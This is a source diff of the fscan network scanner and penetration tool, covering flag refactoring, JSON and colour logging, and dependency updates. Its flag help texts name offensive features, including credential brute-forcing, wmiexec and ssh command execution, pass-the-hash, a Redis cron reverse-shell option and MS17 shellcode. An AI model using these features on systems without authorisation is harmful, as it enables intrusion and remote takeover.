 var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
 var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
 
 type HostInfo struct {
-	Host      string
-	Ports     string
-	Domain    string
-	Url       string
-	Path      string
-	Timeout   int64
-	Scantype  string
-	Command   string
-	SshKey    string
-	Username  string
-	Password  string
-	Usernames []string
-	Passwords []string
-	Infostr   []string
-	Hash      string
+	Host    string
+	Ports   string
+	Url     string
+	Infostr []string
 }
 
 type PocInfo struct {
-	Num        int
-	Rate       int
-	Timeout    int64
-	Proxy      string
-	PocName    string
-	PocDir     string
-	Target     string
-	TargetFile string
-	RawFile    string
-	Cookie     string
-	ForceSSL   bool
-	ApiKey     string
-	CeyeDomain string
+	Target  string
+	PocName string
 }
 
 var (
-	TmpOutputfile string
-	TmpSave       bool
-	IsPing        bool
-	IsWmi         bool
-	Ping          bool
-	Pocinfo       PocInfo
-	IsWebCan      bool
-	IsBrute       bool
-	RedisFile     string
-	RedisShell    string
-	Userfile      string
-	Passfile      string
-	HostFile      string
-	PortFile      string
-	PocPath       string
-	Threads       int
-	URL           string
-	UrlFile       string
-	Urls          []string
-	NoPorts       string
-	NoHosts       string
-	SC            string
-	PortAdd       string
-	UserAdd       string
-	PassAdd       string
-	BruteThread   int
-	LiveTop       int
-	Socks5Proxy   string
+	Ports       string
+	Path        string
+	Scantype    string
+	Command     string
+	SshKey      string
+	Domain      string
+	Username    string
+	Password    string
+	Proxy       string
+	Timeout     int64 = 3
+	WebTimeout  int64 = 5
+	TmpSave     bool
+	NoPing      bool
+	Ping        bool
+	Pocinfo     PocInfo
+	NoPoc       bool
+	IsBrute     bool
+	RedisFile   string
+	RedisShell  string
+	Userfile    string
+	Passfile    string
+	HostFile    string
+	PortFile    string
+	PocPath     string
+	Threads     int
+	URL         string
+	UrlFile     string
+	Urls        []string
+	NoPorts     string
+	NoHosts     string
+	SC          string
+	PortAdd     string
+	UserAdd     string
+	PassAdd     string
+	BruteThread int
+	LiveTop     int
+	Socks5Proxy string
+	Hash        string
+	HashBytes   []byte
+	HostPort    []string
+	IsWmi       bool
+	Noredistest bool
+)
+
+var (
+	UserAgent  = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
+	Accept     = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
+	DnsLog     bool
+	PocNum     int
+	PocFull    bool
+	CeyeDomain string
+	ApiKey     string
+	Cookie     string
 )

common/flag.go

@@ -20,19 +20,19 @@ func Flag(Info *HostInfo) {
 	Banner()
 	flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
 	flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
-	flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
+	flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
 	flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
 	flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
 	flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
 	flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
-	flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
-	flag.StringVar(&Info.SshKey, "sshkey", "", "sshkey file (id_rsa)")
-	flag.StringVar(&Info.Domain, "domain", "", "smb domain")
-	flag.StringVar(&Info.Username, "user", "", "username")
-	flag.StringVar(&Info.Password, "pwd", "", "password")
-	flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
-	flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
-	flag.StringVar(&Info.Path, "path", "", "fcgi、smb romote file path")
+	flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
+	flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
+	flag.StringVar(&Domain, "domain", "", "smb domain")
+	flag.StringVar(&Username, "user", "", "username")
+	flag.StringVar(&Password, "pwd", "", "password")
+	flag.Int64Var(&Timeout, "time", 3, "Set timeout")
+	flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
+	flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
 	flag.IntVar(&Threads, "t", 600, "Thread nums")
 	flag.IntVar(&LiveTop, "top", 10, "show live len top")
 	flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
@@ -40,24 +40,32 @@ func Flag(Info *HostInfo) {
 	flag.StringVar(&Passfile, "pwdf", "", "password file")
 	flag.StringVar(&PortFile, "portf", "", "Port File")
 	flag.StringVar(&PocPath, "pocpath", "", "poc file path")
-	flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
-	flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
-	flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
+	flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
+	flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
+	flag.BoolVar(&NoPoc, "nopoc", false, "not to scan web vul")
 	flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
 	flag.IntVar(&BruteThread, "br", 1, "Brute threads")
-	flag.BoolVar(&IsPing, "np", false, "not to ping")
+	flag.BoolVar(&NoPing, "np", false, "not to ping")
 	flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
-	flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
+	flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
 	flag.BoolVar(&TmpSave, "no", false, "not to save output log")
 	flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
 	flag.BoolVar(&Silent, "silent", false, "silent scan")
+	flag.BoolVar(&Nocolor, "nocolor", false, "no color")
+	flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
 	flag.StringVar(&URL, "u", "", "url")
 	flag.StringVar(&UrlFile, "uf", "", "urlfile")
 	flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
-	flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
+	flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
 	flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
-	flag.StringVar(&Pocinfo.Cookie, "cookie", "", "set poc cookie")
-	flag.Int64Var(&Pocinfo.Timeout, "wt", 5, "Set web timeout")
-	flag.IntVar(&Pocinfo.Num, "num", 20, "poc rate")
+	flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
+	flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
+	flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
+	flag.IntVar(&PocNum, "num", 20, "poc rate")
+	flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
+	flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
+	flag.StringVar(&Hash, "hash", "", "hash")
+	flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test")
+	flag.BoolVar(&JsonOutput, "json", false, "json output")
 	flag.Parse()
 }

common/log.go

@@ -1,7 +1,9 @@
 package common
 
 import (
+	"encoding/json"
 	"fmt"
+	"github.com/fatih/color"
 	"os"
 	"strings"
 	"sync"
@@ -16,9 +18,17 @@ var LogSucTime int64
 var LogErrTime int64
 var WaitTime int64
 var Silent bool
+var Nocolor bool
+var JsonOutput bool
 var LogWG sync.WaitGroup
 
+type JsonText struct {
+	Type string `json:"type"`
+	Text string `json:"text"`
+}
+
 func init() {
+	LogSucTime = time.Now().Unix()
 	go SaveLog()
 }
 
@@ -30,8 +40,18 @@ func LogSuccess(result string) {
 
 func SaveLog() {
 	for result := range Results {
-		if Silent == false || strings.Contains(*result, "[+]") || strings.Contains(*result, "[*]") {
-			fmt.Println(*result)
+		if !Silent {
+			if Nocolor {
+				fmt.Println(*result)
+			} else {
+				if strings.HasPrefix(*result, "[+] InfoScan") {
+					color.Green(*result)
+				} else if strings.HasPrefix(*result, "[+]") {
+					color.Red(*result)
+				} else {
+					fmt.Println(*result)
+				}
+			}
 		}
 		if IsSave {
 			WriteFile(*result, Outputfile)
@@ -41,13 +61,50 @@ func SaveLog() {
 }
 
 func WriteFile(result string, filename string) {
-	var text = []byte(result + "\n")
 	fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
 	if err != nil {
 		fmt.Printf("Open %s error, %v\n", filename, err)
 		return
 	}
-	_, err = fl.Write(text)
+	if JsonOutput {
+		var scantype string
+		var text string
+		if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") {
+			//找到第二个空格的位置
+			index := strings.Index(result[4:], " ")
+			if index == -1 {
+				scantype = "msg"
+				text = result[4:]
+			} else {
+				scantype = result[4 : 4+index]
+				text = result[4+index+1:]
+			}
+		} else {
+			scantype = "msg"
+			text = result
+		}
+		jsonText := JsonText{
+			Type: scantype,
+			Text: text,
+		}
+		jsonData, err := json.Marshal(jsonText)
+		if err != nil {
+			fmt.Println(err)
+			jsonText = JsonText{
+				Type: "msg",
+				Text: result,
+			}
+			jsonData, err = json.Marshal(jsonText)
+			if err != nil {
+				fmt.Println(err)
+				jsonData = []byte(result)
+			}
+		}
+		jsonData = append(jsonData, []byte(",\n")...)
+		_, err = fl.Write(jsonData)
+	} else {
+		_, err = fl.Write([]byte(result + "\n"))
+	}
 	fl.Close()
 	if err != nil {
 		fmt.Printf("Write %s error, %v\n", filename, err)
@@ -56,9 +113,9 @@ func WriteFile(result string, filename string) {
 
 func LogError(errinfo interface{}) {
 	if WaitTime == 0 {
-		fmt.Println(fmt.Sprintf("已完成 %v/%v %v", End, Num, errinfo))
+		fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo)
 	} else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime {
-		fmt.Println(fmt.Sprintf("已完成 %v/%v %v", End, Num, errinfo))
+		fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo)
 		LogErrTime = time.Now().Unix()
 	}
 }

common/proxy.go

@@ -14,21 +14,21 @@ func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.
 	return WrapperTCP(network, address, d)
 }
 
-func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
+func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
 	//get conn
 	var conn net.Conn
 	if Socks5Proxy == "" {
 		var err error
-		conn,err = forward.Dial(network, address)
+		conn, err = forward.Dial(network, address)
 		if err != nil {
 			return nil, err
 		}
-	}else {
+	} else {
 		dailer, err := Socks5Dailer(forward)
-		if err != nil{
+		if err != nil {
 			return nil, err
 		}
-		conn,err = dailer.Dial(network, address)
+		conn, err = dailer.Dial(network, address)
 		if err != nil {
 			return nil, err
 		}
@@ -37,8 +37,8 @@ func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error)
 
 }
 
-func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
-	u,err := url.Parse(Socks5Proxy)
+func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) {
+	u, err := url.Parse(Socks5Proxy)
 	if err != nil {
 		return nil, err
 	}
@@ -51,10 +51,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
 	if u.User.String() != "" {
 		auth = proxy.Auth{}
 		auth.User = u.User.Username()
-		password,_ := u.User.Password()
+		password, _ := u.User.Password()
 		auth.Password = password
 		dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
-	}else {
+	} else {
 		dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
 	}
 

go.mod

@@ -1,24 +1,54 @@
 module github.com/shadow1ng/fscan
 
-go 1.16
+go 1.19
 
 require (
-	github.com/denisenkom/go-mssqldb v0.11.0
+	github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06
+	github.com/denisenkom/go-mssqldb v0.12.2
+	github.com/fatih/color v1.7.0
 	github.com/go-sql-driver/mysql v1.6.0
-	github.com/golang/protobuf v1.3.4
-	github.com/google/cel-go v0.6.0
-	github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
-	github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b
-	github.com/lib/pq v1.10.4
-	github.com/saintfish/chardet v0.0.0-20120816061221-3af4cd4741ca
-	github.com/sijms/go-ora/v2 v2.2.16
+	github.com/google/cel-go v0.13.0
+	github.com/hirochachacha/go-smb2 v1.1.0
+	github.com/jlaffaye/ftp v0.0.0-20220829015825-b85cf1edccd4
+	github.com/lib/pq v1.10.6
+	github.com/satori/go.uuid v1.2.0
+	github.com/sijms/go-ora/v2 v2.5.3
 	github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
 	github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3
-	golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a
-	golang.org/x/net v0.0.0-20210226172049-e18ecbb05110
-	golang.org/x/text v0.3.3
-	google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0
-	gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b
+	golang.org/x/crypto v0.3.0
+	golang.org/x/net v0.7.0
+	golang.org/x/text v0.7.0
+	google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c
+	google.golang.org/protobuf v1.28.1
+	gopkg.in/yaml.v2 v2.4.0
+	gopkg.in/yaml.v3 v3.0.1
+)
+
+require (
+	github.com/BurntSushi/toml v0.3.1 // indirect
+	github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect
+	github.com/geoffgarside/ber v1.1.0 // indirect
+	github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
+	github.com/golang-sql/sqlexp v0.1.0 // indirect
+	github.com/hashicorp/errwrap v1.0.0 // indirect
+	github.com/hashicorp/go-multierror v1.1.1 // indirect
+	github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect
+	github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 // indirect
+	github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect
+	github.com/mattn/go-colorable v0.0.9 // indirect
+	github.com/mattn/go-isatty v0.0.3 // indirect
+	github.com/stoewer/go-strcase v1.2.0 // indirect
+	go.uber.org/atomic v1.5.0 // indirect
+	go.uber.org/multierr v1.3.0 // indirect
+	go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee // indirect
+	go.uber.org/zap v1.14.0 // indirect
+	golang.org/x/lint v0.0.0-20190930215403-16217165b5de // indirect
+	golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
+	golang.org/x/sys v0.5.0 // indirect
+	golang.org/x/tools v0.1.12 // indirect
+	honnef.co/go/tools v0.0.1-2019.2.3 // indirect
 )
 
 replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3
+
+replace github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 => github.com/shadow1ng/goWMIExec v0.0.2

go.sum

@@ -11,13 +11,17 @@ cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqCl
 cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
 cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
 dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
+github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw=
+github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0=
+github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8=
+github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ=
 github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
 github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
 github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
 github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc=
 github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
-github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f h1:0cEys61Sr2hUBEXfNV8eyQP01oZuBgoMeHunebPirK8=
-github.com/antlr/antlr4 v0.0.0-20200503195918-621b933c7a7f/go.mod h1:T7PbCXFs94rrTttyxjbyT5+/1V8T2TYDejxUfHJjw1Y=
+github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 h1:yL7+Jz0jTC6yykIK/Wh74gnTJnrGr5AyrNMXuA0gves=
+github.com/antlr/antlr4/runtime/Go/antlr v1.4.10/go.mod h1:F7bn7fEU90QkQ3tnmaTx3LTKLEDqnwWODIYppRQ5hnY=
 github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
 github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
 github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
@@ -25,7 +29,6 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
 github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
 github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
 github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
-github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
 github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
 github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
 github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
@@ -37,15 +40,17 @@ github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsr
 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
-github.com/denisenkom/go-mssqldb v0.11.0 h1:9rHa233rhdOyrz2GcP9NM+gi2psgJZ4GWDpL/7ND8HI=
-github.com/denisenkom/go-mssqldb v0.11.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
+github.com/denisenkom/go-mssqldb v0.12.2 h1:1OcPn5GBIobjWNd+8yjfHNIaFX14B1pWI3F9HZy5KXw=
+github.com/denisenkom/go-mssqldb v0.12.2/go.mod h1:lnIw1mZukFRZDJYQ0Pb833QS2IaC3l5HkEfra2LJ+sk=
 github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
 github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
-github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
-github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
+github.com/dnaeon/go-vcr v1.2.0/go.mod h1:R4UdLID7HZT3taECzJs4YgbbH6PIGXB6W/sc5OLb6RQ=
+github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
 github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
 github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
 github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
+github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w=
+github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc=
 github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
 github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
 github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
@@ -63,8 +68,9 @@ github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7a
 github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
 github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
 github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
+github.com/golang-sql/sqlexp v0.1.0 h1:ZCD6MBpcuOVfGVqsEmY5/4FtYiKz6tSyUv9LPEDei6A=
+github.com/golang-sql/sqlexp v0.1.0/go.mod h1:J4ad9Vo8ZCWQ2GMrC4UCQy1JpCbwU9m3EOqtpKwwwHI=
 github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k=
-github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58=
 github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
 github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
 github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
@@ -73,20 +79,16 @@ github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFU
 github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
 github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
 github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
-github.com/golang/protobuf v1.3.4 h1:87PNWwrRvUSnqS4dlcBU/ftvOIBep4sYuBLlh6rX2wk=
-github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
+github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
 github.com/gomodule/redigo v1.8.4/go.mod h1:P9dn9mFrCBvWhGE1wpxx6fgq7BAeLBk+UUUzlpkBYO0=
 github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
 github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
-github.com/google/cel-go v0.6.0 h1:Li+angxmgvzlwDsPuFc1/nbqnq3gc4K/X7NrWjOADFI=
-github.com/google/cel-go v0.6.0/go.mod h1:rHS68o5G1QcUv/ubiCoZ5nT5LHxRWWfS0qMzTgv42WQ=
-github.com/google/cel-spec v0.4.0/go.mod h1:2pBM5cU4UKjbPDXBgwWkiwBsVgnxknuEJ7C5TDWwORQ=
+github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU=
+github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s=
 github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
 github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
-github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
-github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
 github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
 github.com/google/gxui v0.0.0-20151028112939-f85e0a97b3a4/go.mod h1:Pw1H1OjSNHiqeuxAduB1BKYXIwFtsyrY47nEqSgEiCM=
 github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
